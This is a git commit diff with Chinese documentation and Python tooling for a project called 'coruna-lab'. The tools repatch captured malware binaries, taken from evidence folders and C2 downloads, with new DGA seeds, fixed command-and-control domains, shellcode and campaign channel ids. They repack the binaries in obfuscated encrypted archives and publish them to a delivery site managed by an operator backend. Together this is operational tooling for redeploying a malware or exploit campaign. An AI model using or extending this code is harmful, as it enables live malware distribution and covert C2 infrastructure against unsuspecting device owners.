This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
+30 -44
View File
@@ -1,76 +1,67 @@
# coruna-lab 工具:channel id / 固定域名
## 推荐:`new_project.py`(新 channel + 固定域名)
## 推荐:`new_project.py`
每次运行都会:
从 **Laravel 配置**读取投放域名(系统设置 → 投放域名,或 `.env` `CORUNA_CHANNEL_DOMAINS`),行为:
1. 自动生成 **32 hex** channel id(或 `--channel-id`)
1. 生成或使用 **32 位小写 `[0-9a-z]`** channel id
2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/`
3. 从 `source/sync` 重置并重建 `sync/`(固定域名写入 core / `daily.html`)
4. 写入固定域名 + channel,重打包全部 type0x01 二级包
3. **域名与上次 `out/domains.json` 相同**(且已有 `sync/`)→ 只打 secondary,**不碰 sync**
4. **域名变更 / 首次无 sync** → 从 `source/sync` 重置并 `patch_all` 重建 sync
**无 reuse-sync / 无改 seed 参数。** seed 由域名列表确定性推导;`daily.html`/`erupt_flee.js` 经内容缓存消除 py7zr 随机 salt,相同域名多次构建 → `sync/` 字节一致,仅 `web/<channel>/` 因 channel 不同。旧版备份:`tools/new_project.py.bak`。
后台「新建渠道链接」会带上当前配置域名调用本脚本。
```bash
cd coruna-lab
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
pip3 install py7zr pycryptodome
/usr/bin/python3 tools/new_project.py \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
```
# 域名默认读 Laravel 配置
/usr/bin/python3 tools/new_project.py --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
也支持重复传参 / 指定 channel:
```bash
# 也可显式覆盖
/usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains www.dep1.example \
--deployment-domains www.dep2.example \
--reporting-domains www.rep1.example \
--reporting-domains www.rep2.example
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
# 强制重建 sync
/usr/bin/python3 tools/new_project.py --channel-id '...' --force-sync
```
产物(写入 `server/public/`):
产物:
- `server/public/web/<channel-id>/` — 投递站(可并存多个 channel)
- `server/public/sync/` — 每次重建(同域名则内容一致)
- `server/public/out/channel.json` — 本次 channel
- `server/public/out/domains.json` — 固定域名列表
- `server/public/out/seeds.json` — 由域名推导的内部 seed
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
- `server/public/web/<channel-id>/` — 投递站
- `server/public/sync/` — 仅域名变化时重建
- `server/public/out/{channel,domains,seeds}.json`
约束:
- channel id:**恰好 32** 个小写十六进制字符(与 type-0x01 C 字符串槽位同宽)
- channel id:恰好 **32** 个小写字母数字
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
- 可写 `https://host`(会自动去掉 scheme/path/port)
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新生成后再部署
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
- macOS 建议 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`)
查看当前配置域名:
```bash
cd server && php artisan coruna:channel-domains --json
```
---
## 仅重建(已有 server/public)
```bash
# 自动生成 channel;若尚无 web/<channel>/ + sync/,会从 source/ 复制
/usr/bin/python3 tools/patch_all.py --apply --root server/public \
--channel-id 'dddddddddddddddddddddddddddddddd' \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
```
域名未变、只要新 channel 时用 `new_project.py`(会复用 `out/seeds.json` + 现有 `sync/`)。
### Seed 格式
- ASCII,长度 ≤ 32(二进制槽位定长 32)
- 推荐正好 32 个十六进制字符
- Deployment / Reporting 各一个;域名未变时 `new_project` 会自动复用上次 seed
- 域名未变时 `new_project` 会复用 `out/seeds.json`
---
@@ -80,19 +71,14 @@ pip3 install py7zr pycryptodome
# 二级包 type0x01(含 channel)
/usr/bin/python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <32hex> \
--channel-id <id> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root server/public --apply
# core + daily 校验
# core + sync 业务插件 + daily
/usr/bin/python3 tools/patch_core.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <id> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root server/public --apply
# 只算 DGA 域名(固定域名模式不需要)
/usr/bin/python3 tools/compute_dga_domains.py \
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
```
源 dylib 仍读自 `coruna-online/`;`--apply` 写入 `server/public/web/<channel>/` + `sync/`(不会写 `source/`)。
+57 -6
View File
@@ -1,4 +1,4 @@
"""Patch campaign / channel id embedded in type-0x01 secondary dylibs."""
"""Patch campaign / channel id embedded in type-0x01 and core/business dylibs."""
from __future__ import annotations
@@ -8,18 +8,20 @@ import secrets
# C-string keys immediately before the channel value in type-0x01 __cstring.
CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00"
CHANNEL_LEN = 32
_CHANNEL_RE = re.compile(rb"^[0-9a-f]{32}$")
# New channel ids: lowercase alphanumeric. Embedded originals remain hex.
_CHANNEL_RE = re.compile(rb"^[0-9a-z]{32}$")
_CHANNEL_HEX_RE = re.compile(rb"^[0-9a-f]{32}$")
def gen_channel_id() -> str:
"""32 lowercase hex chars (same width as campaign slot)."""
"""32 lowercase hex chars (alphanumeric subset; pack-safe)."""
return secrets.token_hex(16)
def validate_channel_id(value: str, *, name: str = "--channel-id") -> str:
if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")):
raise SystemExit(
f"{name} must be exactly {CHANNEL_LEN} lowercase hex chars "
f"{name} must be exactly {CHANNEL_LEN} lowercase [0-9a-z] chars "
f"(got {value!r})"
)
return value
@@ -37,7 +39,7 @@ def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> lis
value = data[value_at : value_at + CHANNEL_LEN]
if (
len(value) == CHANNEL_LEN
and _CHANNEL_RE.fullmatch(value)
and _CHANNEL_HEX_RE.fullmatch(value)
and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00"
):
if expect_old is None or value == expect_old:
@@ -54,7 +56,7 @@ def patch_channel_in_dylib(
expect_hits: int = 1,
label: str = "dylib",
) -> bytes:
"""In-place replace channel C-string (must stay {CHANNEL_LEN} bytes)."""
"""In-place replace type-0x01 channel C-string (must stay {CHANNEL_LEN} bytes)."""
new_channel = validate_channel_id(new_channel, name="channel")
new_b = new_channel.encode("ascii")
old_b = old_channel.encode("ascii") if old_channel else None
@@ -72,3 +74,52 @@ def patch_channel_in_dylib(
for offset in offsets:
buf[offset : offset + CHANNEL_LEN] = new_b
return bytes(buf)
def find_plain_channel_offsets(data: bytes, channel: bytes) -> list[int]:
"""Return offsets of null-terminated plain ASCII channel C-strings."""
if len(channel) != CHANNEL_LEN or not _CHANNEL_HEX_RE.fullmatch(channel):
raise ValueError("channel must be 32 lowercase hex bytes")
needle = channel + b"\x00"
offsets: list[int] = []
start = 0
while True:
index = data.find(needle, start)
if index < 0:
break
offsets.append(index)
start = index + CHANNEL_LEN
return offsets
def patch_plain_channel_in_dylib(
data: bytes,
new_channel: str,
*,
old_channel: str,
expect_hits: int,
label: str = "dylib",
) -> bytes:
"""Replace plain C-string channel (core / business plugins; no type-0x01 anchor).
FAT arm64+arm64e binaries typically embed the same string once per slice
(expect_hits=2). Length must stay exactly 32 ASCII hex chars.
"""
new_channel = validate_channel_id(new_channel, name="channel")
old_channel = validate_channel_id(old_channel, name="old channel")
if new_channel == old_channel:
return data
old_b = old_channel.encode("ascii")
new_b = new_channel.encode("ascii")
offsets = find_plain_channel_offsets(data, old_b)
if len(offsets) != expect_hits:
raise SystemExit(
f"{label}: plain channel hits={len(offsets)} (want {expect_hits} for "
f"{old_channel}). Core/plugin layout may have changed."
)
buf = bytearray(data)
for offset in offsets:
buf[offset : offset + CHANNEL_LEN] = new_b
return bytes(buf)
+19 -22
View File
@@ -8,13 +8,15 @@ from pathlib import Path
LAB_ROOT = Path(__file__).resolve().parents[1]
SOURCE_ROOT = LAB_ROOT / "source"
ONLINE_ROOT = LAB_ROOT.parent / "coruna-online"
MODULE_HUNT = ONLINE_ROOT / "module_hunt"
if str(MODULE_HUNT) not in sys.path:
sys.path.insert(0, str(MODULE_HUNT))
TOOLS_ROOT = Path(__file__).resolve().parent
VENDOR_ROOT = TOOLS_ROOT / "vendor"
if str(VENDOR_ROOT) not in sys.path:
sys.path.insert(0, str(VENDOR_ROOT))
# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
# Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each).
ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden)
# Campaign originals (current seeds embedded in type-0x01 + core)
@@ -31,24 +33,18 @@ CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
SYNC_DIR = _TREE_ROOT / "sync"
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
C2_FETCH = ONLINE_ROOT / "c2_fetch"
CORE_DYLIB = (
ONLINE_ROOT
/ "evidence/cases/2026-08-02-coruna-all-26/downloads/extracted"
/ "80fa600e2486e588bb7991766c6b6bada5a5de0a3351a83b46b6920ee4b55ac1"
/ "tmp.dylib"
)
DAILY_BODY = (
ONLINE_ROOT
/ "evidence/cases/2026-08-02-coruna-har/responses"
/ "har-36_6b5f8ad2b8e41bf097b4811c9fb082523a32f72dd83eed49ed09c5a7f9b04027.body"
)
SECONDARY_KEYS = Path(__file__).resolve().parent / "secondary_keys.json"
# Vendored plaintext inputs (all under source/; no coruna-online runtime dependency).
TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs"
SYNC_DYLIBS_DIR = SOURCE_ROOT / "sync_dylibs"
CORE_DYLIB = SYNC_DYLIBS_DIR / "tmp.dylib"
DAILY_BODY = SOURCE_ROOT / "sync_config" / "daily.body"
SECONDARY_KEYS = TOOLS_ROOT / "secondary_keys.json"
SYNC_MODULES = TOOLS_ROOT / "sync_modules.json"
# Representative dylib per group (same bytes as the other stems in that group)
GROUP_DYLIBS = {
"A": C2_FETCH / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib",
"B": C2_FETCH / "7f208248c748f97956fe4a7cf246c91235852e67_type0x01.dylib",
"A": TYPE0X01_DYLIBS_DIR / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib",
"B": TYPE0X01_DYLIBS_DIR / "7f208248c748f97956fe4a7cf246c91235852e67_type0x01.dylib",
}
@@ -88,6 +84,7 @@ def ensure_tree_layout(
*,
channel: str | None = None,
require_campaign: bool = True,
require_sync: bool = True,
) -> None:
cid = channel or CAMPAIGN_HASH
camp = root / "web" / cid
@@ -95,13 +92,13 @@ def ensure_tree_layout(
missing = []
if require_campaign and not camp.is_dir():
missing.append(f"web/{cid}/")
if not sync.is_dir():
if require_sync and not sync.is_dir():
missing.append("sync/")
if missing:
raise SystemExit(
f"missing working tree under {root} (need {', '.join(missing)}).\n"
f"Run first:\n"
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
f"Bootstrap sync once, then:\n"
f" python3 tools/new_project.py --channel-id <id>"
)
+1 -6
View File
@@ -5,18 +5,13 @@ from __future__ import annotations
import argparse
import json
import sys
from pathlib import Path
from _common import (
MODULE_HUNT,
ORIGINAL_DEPLOYMENT_SEED,
ORIGINAL_REPORTING_SEED,
validate_seed_arg,
)
sys.path.insert(0, str(MODULE_HUNT))
from reproduce_coruna_dga import generate_domains # noqa: E402
from reproduce_coruna_dga import generate_domains
def main() -> int:
+183 -54
View File
@@ -1,13 +1,13 @@
#!/usr/bin/env python3
"""Build server/public campaign trees: new channel + fixed domains.
"""Build server/public campaign trees: new channel + fixed domains from config.
Seeds are derived deterministically from the domain lists (not user-facing).
Same domains → same sync/ and same secondary domain patch; only channel differs.
- New channel id only (domains unchanged vs last out/domains.json):
copy web/<channel>/ + patch secondary packs; leave sync/ alone.
- Domains changed (or first run / no sync yet):
reset sync/ from source and run full patch_all.
Each run:
- creates web/<channel-id>/
- rebuilds sync/ from source + fixed-domain patch
- leaves other web/<channel>/ dirs intact
Domains default from Laravel config (系统设置 / CORUNA_CHANNEL_DOMAINS),
used for both Deployment and Reporting pools.
"""
from __future__ import annotations
@@ -26,7 +26,8 @@ from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
SERVER_ROOT = LAB_ROOT / "server"
APPLY_ROOT = SERVER_ROOT / "public"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
@@ -50,9 +51,22 @@ def copy_campaign_template(dst_campaign: Path) -> None:
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
"""32-hex seeds stable for a given ordered domain list (pool slots still need seeds)."""
def load_json(path: Path) -> dict | None:
if not path.is_file():
return None
return json.loads(path.read_text())
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
if not prev or prev.get("mode") != "fixed_domains":
return False
return (
prev.get("deployment", {}).get("domains") == dep
and prev.get("reporting", {}).get("domains") == rep
)
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
def one(label: str, domains: list[str]) -> str:
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
return hashlib.sha256(material).hexdigest()[:32]
@@ -78,38 +92,99 @@ def run(cmd: list[str]) -> None:
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def load_domains_from_laravel() -> list[str]:
"""Read coruna.channel_domains (settings override env) via artisan."""
php_candidates = [
Path("/opt/homebrew/opt/php/bin/php"),
Path("/usr/bin/php"),
Path(shutil.which("php") or ""),
]
php = next((p for p in php_candidates if p and p.is_file()), None)
artisan = SERVER_ROOT / "artisan"
if php is None or not artisan.is_file():
return []
proc = subprocess.run(
[str(php), str(artisan), "coruna:channel-domains", "--json"],
cwd=str(SERVER_ROOT),
capture_output=True,
text=True,
check=False,
)
if proc.returncode != 0:
print(f"warn: coruna:channel-domains failed: {proc.stderr.strip()}", file=sys.stderr)
return []
line = (proc.stdout or "").strip().splitlines()
if not line:
return []
try:
data = json.loads(line[-1])
except json.JSONDecodeError:
return []
if not isinstance(data, list):
return []
return [str(x).strip() for x in data if str(x).strip()]
def resolve_domains(cli_dep: list[str], cli_rep: list[str]) -> tuple[list[str], list[str]]:
if cli_dep or cli_rep:
if bool(cli_dep) != bool(cli_rep):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
return (
parse_domain_list(cli_dep, label="deployment"),
parse_domain_list(cli_rep, label="reporting"),
)
domains = load_domains_from_laravel()
if not domains:
raise SystemExit(
"no domains in Laravel config (系统设置 → 投放域名 / CORUNA_CHANNEL_DOMAINS). "
"Configure domains first, or pass --deployment-domains / --reporting-domains."
)
# Same configured hosts for both pools (product default).
return domains, list(domains)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"From source/, create server/public/web/<channel-id>/ with fixed "
"Deployment/Reporting domains. Seeds are derived from domains "
"(no --*-seed / no reuse-sync shortcut)."
"Create web/<channel-id>/ from source. "
"If domains match the previous project, only patch secondary (sync untouched). "
"If domains changed, rebuild sync/ via patch_all."
)
)
parser.add_argument(
"--channel-id",
help="optional 32-hex channel id (default: random, unique under web/)",
help="optional 32-char [0-9a-z] channel id (default: random, unique under web/)",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
required=True,
help="fixed Deployment hosts (comma-separated or repeatable)",
help="override Deployment hosts (default: Laravel coruna.channel_domains)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
required=True,
help="fixed Reporting hosts (comma-separated or repeatable)",
help="override Reporting hosts (default: same as deployment from config)",
)
parser.add_argument("--deployment-seed", help="optional; default: reuse or derive")
parser.add_argument("--reporting-seed", help="optional; default: reuse or derive")
parser.add_argument(
"--force-sync",
action="store_true",
help="rebuild sync/ even when domains match the previous project",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates for patch_all when rebuilding sync (default 5)",
)
args = parser.parse_args()
fixed_dep = parse_domain_list(args.deployment_domains, label="deployment")
fixed_rep = parse_domain_list(args.reporting_domains, label="reporting")
dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep)
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir():
@@ -124,74 +199,128 @@ def main() -> int:
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains)
prev_domains = load_json(out_root / "domains.json")
prev_seeds = load_json(out_root / "seeds.json") or {}
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
same_domains = (
domains_equal(prev_domains, fixed_dep, fixed_rep)
and sync_ready
and not args.force_sync
)
channel = pick_channel(args.channel_id, web_root)
campaign_dir = web_root / channel
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
print(f"domains: {'reuse sync (channel-only)' if same_domains else 'rebuild sync'}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print(f" seeds: derived from domains (stable)")
print()
print("=== copy campaign template ===")
print(f"from: {src_campaign}")
print(f"to: {campaign_dir}")
copy_campaign_template(campaign_dir)
print(f"created web/{channel}/")
print("=== reset sync from source ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
print()
print("=== patch_all --apply ===")
run(
[
sys.executable,
py = sys.executable
if same_domains:
dep = args.deployment_seed or prev_seeds.get("deployment_seed")
rep = args.reporting_seed or prev_seeds.get("reporting_seed")
if not dep or not rep:
dep, rep = seeds_from_domains(fixed_dep, fixed_rep)
print("seeds: derived (out/seeds.json incomplete)")
print("=== domains unchanged: patch secondary only (sync untouched) ===")
print(f"reuse/derive seeds dep={dep} rep={rep}")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
str(dep),
"--reporting-seed",
str(rep),
"--channel-id",
channel,
*domain_args,
"--root",
str(APPLY_ROOT),
"--apply",
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": False,
"deployment_seed": dep,
"reporting_seed": rep,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
else:
print("=== domains new/changed (or no sync): reset sync + full patch ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
cmd = [
py,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"--deployment-seed",
dep_seed,
"--reporting-seed",
rep_seed,
"-n",
str(args.count),
*domain_args,
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
print()
print("=== patch_all --apply ===")
run(cmd)
seeds = load_json(out_root / "seeds.json") or {}
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": True,
"deployment_seed": seeds.get("deployment_seed"),
"reporting_seed": seeds.get("reporting_seed"),
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
+ "\n"
)
print()
print("=== ready ===")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir}")
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
print(f"channel: {out_root / 'channel.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("served by Laravel public:")
print(f" /web/{channel}/support.html")
print(" /sync/daily.html")
print(f"served: /web/{channel}/support.html")
if not same_domains:
print(" /sync/daily.html")
return 0
+6 -2
View File
@@ -70,7 +70,10 @@ def main() -> int:
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument(
"--channel-id",
help="32-hex channel id for web/<id>/ + type-0x01 embed (default: random)",
help=(
"32-hex channel id for web/<id>/, type-0x01, core, and sync plugins "
"(default: random)"
),
)
parser.add_argument(
"--deployment-domains",
@@ -174,7 +177,7 @@ def main() -> int:
)
print()
print("=== 2/3 patch_core ===")
print("=== 2/3 patch_core (core + sync plugins channel) ===")
run(
[
py,
@@ -183,6 +186,7 @@ def main() -> int:
dep,
"--reporting-seed",
rep,
*channel_args,
*domain_args,
*root,
*apply,
+151 -52
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
"""Patch DGA seeds in core (erupt_flee) and rebuild daily.html with updated sha256/size."""
"""Patch seeds/domains/channel in core + sync business plugins; rebuild daily.html."""
from __future__ import annotations
@@ -10,12 +10,14 @@ import struct
import tempfile
from pathlib import Path
from _channel_patch import patch_plain_channel_in_dylib, validate_channel_id
from _common import (
CORE_DYLIB,
DAILY_BODY,
LAB_ROOT,
MODULE_HUNT,
ORIGINAL_CORE_CHANNEL_ID,
SOURCE_ROOT,
SYNC_MODULES,
ensure_tree_layout,
patch_seeds_in_dylib,
set_tree_root,
@@ -26,11 +28,7 @@ from _common import (
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
import _common
import sys
sys.path.insert(0, str(MODULE_HUNT))
from coruna_netconfig_pipeline import ( # noqa: E402
from coruna_netconfig_pipeline import (
HEADER_MARKER_1,
HEADER_MARKER_2,
HEADER_XOR,
@@ -38,7 +36,7 @@ from coruna_netconfig_pipeline import ( # noqa: E402
derive_archive_password,
repair_coruna_7z_header,
)
from reproduce_coruna_dga import generate_domains # noqa: E402
from reproduce_coruna_dga import generate_domains
try:
import py7zr
@@ -98,19 +96,71 @@ def extract_daily_config_bytes() -> bytes:
return (Path(tmp) / "tmp.dylib").read_bytes()
def update_core_fields(config_bytes: bytes, digest: str, size: int) -> bytes:
def load_sync_modules() -> list[dict]:
if not SYNC_MODULES.is_file():
raise SystemExit(f"missing sync module inventory: {SYNC_MODULES}")
return json.loads(SYNC_MODULES.read_text())
def update_daily_hashes(
config_bytes: bytes,
hashes: dict[str, tuple[str, int]],
) -> bytes:
"""Update core / springboard_entries / entries sha256+size keyed by wire filename."""
obj = json.loads(config_bytes)
obj["core"]["sha256"] = digest
obj["core"]["size"] = size
if "erupt_flee.js" in hashes:
digest, size = hashes["erupt_flee.js"]
obj["core"]["sha256"] = digest
obj["core"]["size"] = size
for entry in obj.get("springboard_entries", []):
wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
if wire in hashes:
digest, size = hashes[wire]
entry["sha256"] = digest
entry["size"] = size
for entry in obj.get("entries", []):
wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
if wire in hashes:
digest, size = hashes[wire]
entry["sha256"] = digest
entry["size"] = size
return json.dumps(obj, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
def patch_module_channel(
data: bytes,
*,
channel: str,
expect_hits: int,
label: str,
) -> bytes:
if expect_hits <= 0 or channel == ORIGINAL_CORE_CHANNEL_ID:
return data
return patch_plain_channel_in_dylib(
data,
channel,
old_channel=ORIGINAL_CORE_CHANNEL_ID,
expect_hits=expect_hits,
label=label,
)
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch core seeds and rebuild sync/erupt_flee.js + sync/daily.html"
description=(
"Patch core + sync business-plugin channel/seeds/domains and rebuild "
"sync wires + daily.html"
)
)
parser.add_argument("--deployment-seed", required=True)
parser.add_argument("--reporting-seed", required=True)
parser.add_argument(
"--channel-id",
help=(
f"32-hex channel written into core + sync plugins "
f"(default: keep {ORIGINAL_CORE_CHANNEL_ID})"
),
)
parser.add_argument(
"--deployment-domains",
action="append",
@@ -136,11 +186,16 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="copy daily.html + erupt_flee.js into <root>/sync/",
help="copy rebuilt daily.html + patched sync wires into <root>/sync/",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else ORIGINAL_CORE_CHANNEL_ID
)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
@@ -172,43 +227,78 @@ def main() -> int:
if not DAILY_BODY.is_file():
raise SystemExit(f"missing daily body: {DAILY_BODY}")
patched = patch_seeds_in_dylib(
CORE_DYLIB.read_bytes(),
dep,
rep,
expect_dep=2,
expect_rep=2,
label="core/tmp.dylib",
)
if fixed_dep is not None and fixed_rep is not None:
patched = patch_fixed_domains_in_dylib(
patched,
fixed_dep,
fixed_rep,
deployment_seed=dep,
reporting_seed=rep,
label="core/tmp.dylib",
)
digest = sha256_hex(patched)
size = len(patched)
modules = load_sync_modules()
password = derive_archive_password()
out: Path = args.out
out.mkdir(parents=True, exist_ok=True)
dylibs_dir = out / "dylibs"
dylibs_dir.mkdir(exist_ok=True)
erupt_wire = obfuscate_coruna_7z_header(
make_passworded_7z("tmp.dylib", patched, password)
)
repaired, _ = repair_coruna_7z_header(erupt_wire)
assert repaired.startswith(STANDARD_7Z_PREFIX)
hashes: dict[str, tuple[str, int]] = {}
rebuilt_wires: list[str] = []
config_bytes = update_core_fields(extract_daily_config_bytes(), digest, size)
for mod in modules:
wire = mod["wire"]
member = mod["member"]
expect = int(mod.get("expect_channel_hits", 0))
rel = mod.get("source_rel") or f"source/sync_dylibs/{member}"
src = LAB_ROOT / rel
if not src.is_file():
raise SystemExit(f"missing sync dylib for {wire}: {src}")
data = src.read_bytes()
label = f"sync/{wire} ({member})"
if wire == "erupt_flee.js":
data = patch_seeds_in_dylib(
data,
dep,
rep,
expect_dep=2,
expect_rep=2,
label=label,
)
if fixed_dep is not None and fixed_rep is not None:
data = patch_fixed_domains_in_dylib(
data,
fixed_dep,
fixed_rep,
deployment_seed=dep,
reporting_seed=rep,
label=label,
)
if expect > 0:
data = patch_module_channel(
data,
channel=channel,
expect_hits=expect,
label=label,
)
digest = sha256_hex(data)
size = len(data)
hashes[wire] = (digest, size)
wire_bytes = obfuscate_coruna_7z_header(
make_passworded_7z(member, data, password)
)
(out / wire).write_bytes(wire_bytes)
(dylibs_dir / member).write_bytes(data)
rebuilt_wires.append(wire)
print(f"patched {wire}: sha256={digest[:16]}… size={size} channel={channel}")
else:
print(f"skip channel {wire}: no embedded core channel")
if "erupt_flee.js" not in hashes:
raise SystemExit("core erupt_flee.js was not rebuilt")
core_digest, core_size = hashes["erupt_flee.js"]
(out / "tmp.patched.dylib").write_bytes((dylibs_dir / "tmp.dylib").read_bytes())
config_bytes = update_daily_hashes(extract_daily_config_bytes(), hashes)
daily_wire = obfuscate_coruna_7z_header(
make_passworded_7z("tmp.dylib", config_bytes, password)
)
out: Path = args.out
out.mkdir(parents=True, exist_ok=True)
(out / "erupt_flee.js").write_bytes(erupt_wire)
(out / "daily.html").write_bytes(daily_wire)
(out / "tmp.patched.dylib").write_bytes(patched)
(out / "config.patched.json").write_text(
json.dumps(json.loads(config_bytes), indent=2) + "\n"
)
@@ -218,19 +308,23 @@ def main() -> int:
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"core_channel_original": ORIGINAL_CORE_CHANNEL_ID,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"core_sha256": digest,
"core_size": size,
"core_sha256": core_digest,
"core_size": core_size,
"daily_sha256": sha256_hex(daily_wire),
"erupt_flee_sha256": sha256_hex(erupt_wire),
"erupt_flee_sha256": sha256_hex((out / "erupt_flee.js").read_bytes()),
"patched_wires": rebuilt_wires,
"module_sha256": {w: h for w, (h, _) in hashes.items()},
"deployment_domains": dep_domains,
"reporting_domains": rep_domains,
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
print(f"core sha256={digest} size={size}")
print(f"wrote {out / 'erupt_flee.js'}")
print(f"wrote {out / 'daily.html'} (core.sha256/size updated)")
print(f"core sha256={core_digest} size={core_size}")
print(f"channel: {channel} (core/plugins from {ORIGINAL_CORE_CHANNEL_ID})")
print(f"wrote {len(rebuilt_wires)} sync wires + daily.html -> {out}")
print("deployment domains:")
for d in manifest["deployment_domains"]:
print(f" {d}")
@@ -239,11 +333,16 @@ def main() -> int:
print(f" {d}")
if args.apply:
shutil.copy2(out / "erupt_flee.js", sync_dir / "erupt_flee.js")
shutil.copy2(out / "daily.html", sync_dir / "daily.html")
print(f"applied -> {sync_dir}")
for wire in rebuilt_wires:
